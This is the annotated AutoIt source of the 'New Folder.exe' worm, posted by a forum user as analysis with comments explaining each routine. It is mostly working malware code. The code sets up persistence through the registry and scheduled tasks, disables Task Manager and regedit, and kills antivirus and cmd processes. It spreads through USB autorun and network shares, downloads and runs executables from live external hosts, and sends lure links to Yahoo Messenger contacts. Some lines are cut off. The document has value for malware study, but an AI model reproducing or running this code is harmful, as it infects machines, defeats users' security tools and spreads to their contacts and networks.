

```

;-----
;
; New Folder.exe Code analyzed By Koudelka... Lebanese By Nature...Proud By Choice
; Note: You can rebuild this script using Autolt program from http://www.autoitscript.com/autoit3/
; First part of this code is to add functions used in the virus like _ProcessGetName and _ProcessGetPriority
;
;-----

```

```

;-----
; <AUT2EXE INCLUDE-START: C:\Program Files\AutoIt3\Include\Process.au3>
; Description: Functions that assist with process management.
;
;-----

```

```

;=====
;
; Description - Returns a string containing the process name that belongs to a given PID.
; Syntax - _ProcessGetName( $iPID )
; Parameters - $iPID - The PID of a currently running process
; Requirements - None.
; Return Values - Success - The name of the process
;                Failure - Blank string and sets @error
;                1 - Process doesn't exist
;                2 - Error getting process list
;                3 - No processes found
; Notes - Supplementary to ProcessExists().
;=====

```

```

Func _ProcessGetName($i_PID)
    If Not ProcessExists($i_PID) Then
        SetError(1)
        Return ""
    EndIf
    Local $a_Processes = ProcessList()
    If Not @error Then
        For $i = 1 To $a_Processes[0][0]
            If $a_Processes[$i][1] = $i_PID Then Return $a_Processes[$i][0]
        Next
    EndIf
    SetError(1)
    Return ""
EndFunc ;==>_ProcessGetName

```

```

;=====
;
; Function Name: _ProcessGetPriority()
; Description: Get the priority of an open process
; Parameter(s): $vProcess - PID or name of a process.
; Requirement(s): AutoIt Beta v3.1.1.61+
;                kernel32.dll (included with Windows)
; Return Value(s): On Success - Returns integer corresponding to
;                 the processes's priority:
;                 0 - Idle/Low
;                 1 - Below Normal (Not supported on Windows 95/98/ME)
;                 2 - Normal
;                 3 - Above Normal (Not supported on Windows 95/98/ME)
;                 4 - High
;                 5 - Realtime
; On Failure: Returns -1 and sets @Error to 1

```

```

;
;=====
;
Func _ProcessGetPriority($vProcess)
    Local $i_PID = ProcessExists($vProcess)
    If Not $i_PID Then
        SetError(1)
        Return -1
    EndIf
    Local $hDLL = DllOpen("kernel32.dll")
    Local $aProcessHandle = DllCall($hDLL, 'int', 'OpenProcess', 'int', 0x0400, 'int', False, 'int', $i_PID)
    Local $aPriority = DllCall($hDLL, 'int', 'GetPriorityClass', 'int', $aProcessHandle[0])
    DllCall($hDLL, 'int', 'CloseHandle', 'int', $aProcessHandle[0])
    DllClose($hDLL)
    Switch $aPriority[0]
        Case 0x00000040
            Return 0
        Case 0x00004000
            Return 1
        Case 0x00000020
            Return 2
        Case 0x00008000
            Return 3
        Case 0x00000080
            Return 4
        Case 0x00000100
            Return 5
        Case Else
            SetError(1)
            Return -1
    EndSwitch
EndFunc ;==>_ProcessGetPriority

```

```

;=====
;
; Description:   Executes a DOS command in a hidden command window.
; Syntax:       _RunDOS( $sCommand )
; Parameter(s): $sCommand - Command to execute
; Requirement(s): None
; Return Value(s): On Success - Returns the exit code of the command
;                  On Failure - Depends on RunErrorsFatal setting
;
;=====
Func _RunDOS($sCommand)
    Return RunWait(@ComSpec & " /C " & $sCommand, "", @SW_HIDE)
EndFunc ;==>_RunDOS

```

```

;-----
; <AUT2EXE INCLUDE-END: C:\Program Files\AutoIt3\Include\Process.au3>
;-----
;-----
; Virus Code Start From here
;-----

```

#NoTrayIcon ; used to hide the virus from the tray icon

```

$name = "SSVICHOSST" ; name of the virus
$setting = "setting" ; setting file used later
$ini = ".ini"
$nql = ".nql"
$xls = ".xls"
$exe = ".exe"
$toigioupdate = @HOUR + 2
$toigio = @MIN + 30
; Copy itself to system directory
FileCopy (@AutoltExe, @SystemDir & "\" & $name & $exe,0)
; Make itself protected (readonly, system, hidden)
FileSetAttrib (@SystemDir & "\" & $name & $exe,"+RSH")
; Copy itself to windows directory
FileCopy (@AutoltExe, @WindowsDir & "\" & $name & $exe,0)
; Make itself protected (readonly, system, hidden)
FileSetAttrib (@WindowsDir & "\" & $name & $exe,"-RSH")
; Create registry keys so it run with windows automatically
RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Shell","R
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","Yahoo Messengger","
; Disable Folder option so you cant see it from the tools menu from Explorer
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","Nofolder
; Disable Task Manager (Ctrl+Alt+Delete)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableT
; Disable regedit
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableR
; Make schedule to run the virus automatically at specified time
RegWrite ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule","AtTaskMaxHours","REC
_RunDOS ("AT /delete /yes")
_RunDOS ("AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su " & @SystemDir & "\" & $name & $exe)
createini()
update()
sendmess()
; Read Shared folders from the registry and that so it can copy itself there
$a = RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCra
If $a = "" Then
    copynetwork ()
EndIf
If $a <> "" Then
    If FileExists ($a)=0 Then
        copynetwork()
    EndIf
EndIf
If ProcessExists ("game_y.exe") Then
    ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
    ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
    ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
    ProcessClose ("game_y.exe")
EndIf
Sleep (1000)

```

; Copy itself to Flash memory to infect any usb attached to the computer

```
While (1)
  killprocess()
  copyusb()
  If @HOUR = $toigioupdate Then
    update()
    If ProcessExists ("game_y.exe") Then
      ProcessClose ("game_y.exe")
    EndIf
    Sleep (1000)
    If ProcessExists ("game_y.exe") Then
      ProcessClose ("game_y.exe")
    EndIf
    Sleep (1000)
    If ProcessExists ("game_y.exe") Then
      ProcessClose ("game_y.exe")
    EndIf
    Sleep (1000)
    If ProcessExists ("game_y.exe") Then
      ProcessClose ("game_y.exe")
    EndIf
    Sleep (1000)
  EndIf
  If @MIN = $toigio Then
    sendmess()
  EndIf
WEnd
```

; It download settings from the Author of the virus website i didnt study this too much but its really nice idea ;)

```
Func downloadurl()
  $settingurl="http://nhatsuquanglan3.t35.com"
  If InetGet ($settingurl & "/" & $setting & $nql, @SystemDir & "\" & $setting & $ini,1,0) = 0 Then
    InetGet ($settingurl & "/" & $setting & $xls, @SystemDir & "\" & $setting & $ini,1,0)
  EndIf
  Sleep (1000)
  $downloaded="success"
  $settingurl1 = "http://nhatsuquanglan4.t35.com"
  If IniRead (@SystemDir & "\" & $setting & $ini,"setting","downloaded","") <> $downloaded Then
    If InetGet ($settingurl1 & "/" & $setting & $nql, @SystemDir & "\" & $setting & $ini,1,0) = 0 Then
      InetGet ($settingurl1 & "/" & $setting & $xls, @SystemDir & "\" & $setting & $ini,1,0)
    EndIf
  EndIf
  FileSetAttrib (@SystemDir & "\" & $setting & $ini,"+RSH")
EndFunc
```

; Update the virus :D didnt i tell u nice idea ;)

```
Func update()
  downloadurl()
  $website = IniRead (@SystemDir & "\" & $setting & $ini,"setting","website","")
  $check01 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload1","")
  $check02 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload2","")
  $check03 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload3","")
  $size01 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size01",""))
  $size02 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size02",""))
  $size03 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size03",""))
  If $check01 <> "" Then
    If Not FileExists (@SystemDir & "\" & $check01 & $exe) Then
      If InetGet ($website & "/" & $check01 & $nql, @SystemDir & "\" & $check01 & $exe,1,0)=0 Then
        InetGet ($website & "/" & $check01 & $xls, @SystemDir & "\" & $check01 & $exe,1,0)
      EndIf
    EndIf
  EndIf
EndFunc
```

```

Sleep (3000)
If FileExists (@SystemDir & "\" & $check01 & $exe) Then
    If Number (FileGetSize (@SystemDir & "\" & $check01 & $exe))/1024>=$size01 Then
        FileSetAttrib (@SystemDir & "\" & $check01 & $exe,"+RSH")
        Run (@SystemDir & "\" & $check01 & $exe)
    EndIf
EndIf
EndIf
EndIf
If $check02 <>"" Then
    If Not FileExists (@SystemDir & "\" & $check02 & $exe) Then
        If InetGet ($website & "/" & $check02 & $nql,@SystemDir & "\" & $check02 & $exe,1,0)=0 Then
            InetGet ($website & "/" & $check02 & $xls,@SystemDir & "\" & $check02 & $exe,1,0)
        EndIf
        Sleep (3000)
        If FileExists (@SystemDir & "\" & $check02 & $exe) Then
            If Number (FileGetSize (@SystemDir & "\" & $check02 & $exe))/1024>=$size02 Then
                FileSetAttrib (@SystemDir & "\" & $check02 & $exe,"+RSH")
                Run (@SystemDir & "\" & $check02 & $exe)
            EndIf
        EndIf
    EndIf
EndIf
EndIf
If $check03 <>"" Then
    If Not FileExists (@SystemDir & "\" & $check03 & $exe) Then
        If InetGet ($website & "/" & $check03 & $nql,@SystemDir & "\" & $check03 & $exe,1,0)=0 Then
            InetGet ($website & "/" & $check03 & $xls,@SystemDir & "\" & $check03 & $exe,1,0)
        EndIf
        Sleep (3000)
        If FileExists (@SystemDir & "\" & $check03 & $exe) Then
            If Number (FileGetSize (@SystemDir & "\" & $check03 & $exe))/1024>=$size03 Then
                FileSetAttrib (@SystemDir & "\" & $check03 & $exe,"+RSH")
                Run (@SystemDir & "\" & $check03 & $exe)
            EndIf
        EndIf
    EndIf
EndIf
EndIf
$toigioupdate = @HOUR + 2
If $toigioupdate >12 Then
    $toigioupdate = $toigioupdate -12
EndIf
EndFunc
; Create message to send it to all your contacts in yahoo messenger :)
Func sendmess()
    $myweb = IniRead (@SystemDir & "\" & $setting & $ini,"setting","myweb","")
    If $myweb = "" Then
        $myweb = "http://nhatquanglan1.0catch.com"
    EndIf
    Dim $tin [10]
    $tin[0] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[0]","")
    If $tin[0] = "" Then
        $tin[0] = "E may, vao day coi co con nho nay ngon lam " & $myweb & " "
    EndIf
    $tin[1] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[1]","")
    If $tin[1] = "" Then
        $tin[1] = "Vao day nghe bai nay di ban " & $myweb & " "
    EndIf
    $tin[2] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[2]","")

```

```

If $tin[2] = "" Then
    $tin[2] = "Vao day nghe bai nay di ban " & $myweb & " "
EndIf
$tin[3] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[3]","")
If $tin[3] = "" Then
    $tin[3] = "Biet tin gi chua, vao day coi di " & $myweb & " "
EndIf
$tin[4] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[4]","")
If $tin[4] = "" Then
    $tin[4] = "Trang Web nay coi cung hay, vao coi thu di " & $myweb & " "
EndIf
$tin[5] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[5]","")
If $tin[5] = "" Then
    $tin[5] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo
EndIf
$tin[6] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[6]","")
If $tin[6] = "" Then
    $tin[6] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao nhieu yeu thuong n
EndIf
$tin[7] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[7]","")
If $tin[7] = "" Then
    $tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio nguoi lac loi buoc ch
EndIf
$tin[8] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[8]","")
If $tin[8] = "" Then
    $tin[8] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da den nhu la giac m
EndIf
$tin[9] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[9]","")
If $tin[9] = "" Then
    $tin[9] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin th
EndIf
; select all your contact in yahoo messenger and send them the message created above with the website to downloa
$tieude = WinGetTitle("Yahoo! Messenger", "")
$kiemtra = WinExists ($tieude)
If $kiemtra = 1 Then
    $ngaunhien = Random(0,9,1)
    ClipPut ($tin[$ngaunhien])
    BlockInput (1)
    WinActivate ($tieude)
    Send ("!m")
    Send ("un")
    Send ("^v {ENTER}{ENTER}")
    Send ("^m")
    Send ("{DOWN}")
    Send ("^{SHIFTDOWN}{END}{SHIFТУP}")
    Send ("{ENTER}")
    Send ("^v {ENTER}")
    BlockInput (0)
EndIf
$toigio=@MIN + 30
If $toigio>60 Then
    $toigio=$toigio-60
EndIf
EndFunc

; Function to kill antivirus, registry, task manager, command(cmd) in case they are running
Func killprocess()
    If WinExists ("Bkav2006") Then

```

```

WinClose ("Bkav2006")
RegDelete ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","BkavFw")
EndIf
If WinExists ("System Configuration") Then
    WinClose ("System Configuration")
EndIf
If WinExists ("Registry") Then
    WinClose ("Registry")
EndIf
If WinExists ("Windows Task") Then
    WinClose ("Windows Task")
EndIf
If WinExists ("[FireLion]") Then
    RegDelete ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","IEProtection")
    Shutdown (2)
EndIf
If ProcessExists ("cmd.exe") then
    ProcessClose ("cmd.exe")
EndIf
EndFunc
; Function to copy itself to usb
Func copyusb()
    $usb = DriveGetDrive("REMOVABLE")
    If NOT @error Then
        Dim $odia[6]
        $odia[1]=" "
        For $i=1 To $usb[0]
            $odia[$i-1]=$usb[$i]
        Next
        If $odia[0] <> "A:" Then
            If $odia[0] <> " " Then
                FileCopy (@WindowsDir & "\" & $name & $exe,$odia[0] & "\New Folder.exe",0)
                Sleep (1)
                FileCopy (@SystemDir & "\" & $name & $exe,$odia[0] & "\" & $name & $exe,0)
                Sleep (1)
                FileCopy (@SystemDir & "\autorun.ini",$odia[0] & "\autorun.inf",0)
                FileSetAttrib ($odia[0] & "\autorun.inf","+RSH")
                Sleep (1)
                Search($odia[0])
            EndIf
        EndIf
        If $odia[0]="A:" Then
            If $odia[1] <> " " Then
                FileCopy (@WindowsDir & "\" & $name & $exe,$odia[1] & "\New Folder.exe",0)
                Sleep (1)
                FileCopy (@SystemDir & "\" & $name & $exe,$odia[1] & "\" & $name & $exe,0)
                Sleep (1)
                FileCopy (@SystemDir & "\autorun.ini",$odia[1] & "\autorun.inf",0)
                FileSetAttrib ($odia[1] & "\autorun.inf","+RSH")
                Sleep (1)
                Search($odia[1])
            EndIf
        EndIf
    EndIf
EndFunc
; Function to search and copy itself to windows directory
Func Search($current)
    Local $search = FileFindFirstFile($current & "\*.*)

```

```

While 1
    Dim $file = FileFindNextFile($search)
    If @error Or StringLen($file) < 1 Then ExitLoop
    If StringInStr(FileGetAttrib($current & "\" & $file), "D") And ($file <> "." Or $file <> "..") Then
        FileCopy (@WindowsDir & "\" & $name & $exe,$current & "\" & $file & "\" & $file & $exe,0)
        Search($current & "\" & $file)
    EndIf

    Sleep (1)
WEnd
FileClose($search)
EndFunc
; Function to copy itself to network folders
Func copynetwork ()
    Dim $mang[30]
    For $i=1 to 30
        $read = RegEnumKey ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\W
        If @error Then ExitLoop
        $read = StringReplace ($read,"/", "\")
        $mang[$i] = "\" & $read
        $checkcopy = FileCopy (@WindowsDir & "\" & $name & $exe,$mang[$i] & "\New Folder.exe",1)
        If $checkcopy =1 Then
            FileCopy (@SystemDir & "\" & $name & $exe,$mang[$i] & "\" & $name & $exe,0)
            FileCopy (@SystemDir & "\autorun.ini", $mang[$i] & "\autorun.inf",1)
            FileSetAttrib ($mang[$i] & "\autorun.inf", "+RSH")
            Search($mang[$i])
        EndIf
    Next
    RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawl
EndFunc
; Create Autorun.inf (its now .ini but it will be renamed to .inf) which is copied to the flash memory to make the virus au
Func createini()
    IniWrite (@SystemDir & "\autorun.ini", "Autorun", "Open", $name & $exe)
    IniWrite (@SystemDir & "\autorun.ini", "Autorun", "Shellexe cute", $name & $exe)
    IniWrite (@SystemDir & "\autorun.ini", "Autorun", "Shell\Open\command", $name & $exe)
    IniWrite (@SystemDir & "\autorun.ini", "Autorun", "Shell", "Open")
    Sleep (1)
    FileSetAttrib (@SystemDir & "\autorun.ini", "+RSH")
EndFunc

; -----
;
;
; Well thats it :)
; Hope you will used it for good things like creating anti-new folder like i did :D
; If you have any questions dont hesitate to contact me on the forum
; New Folder.exe Code analyzed By Koudelka... Lebanese By Nature...Proud By Choice
;
; -----

```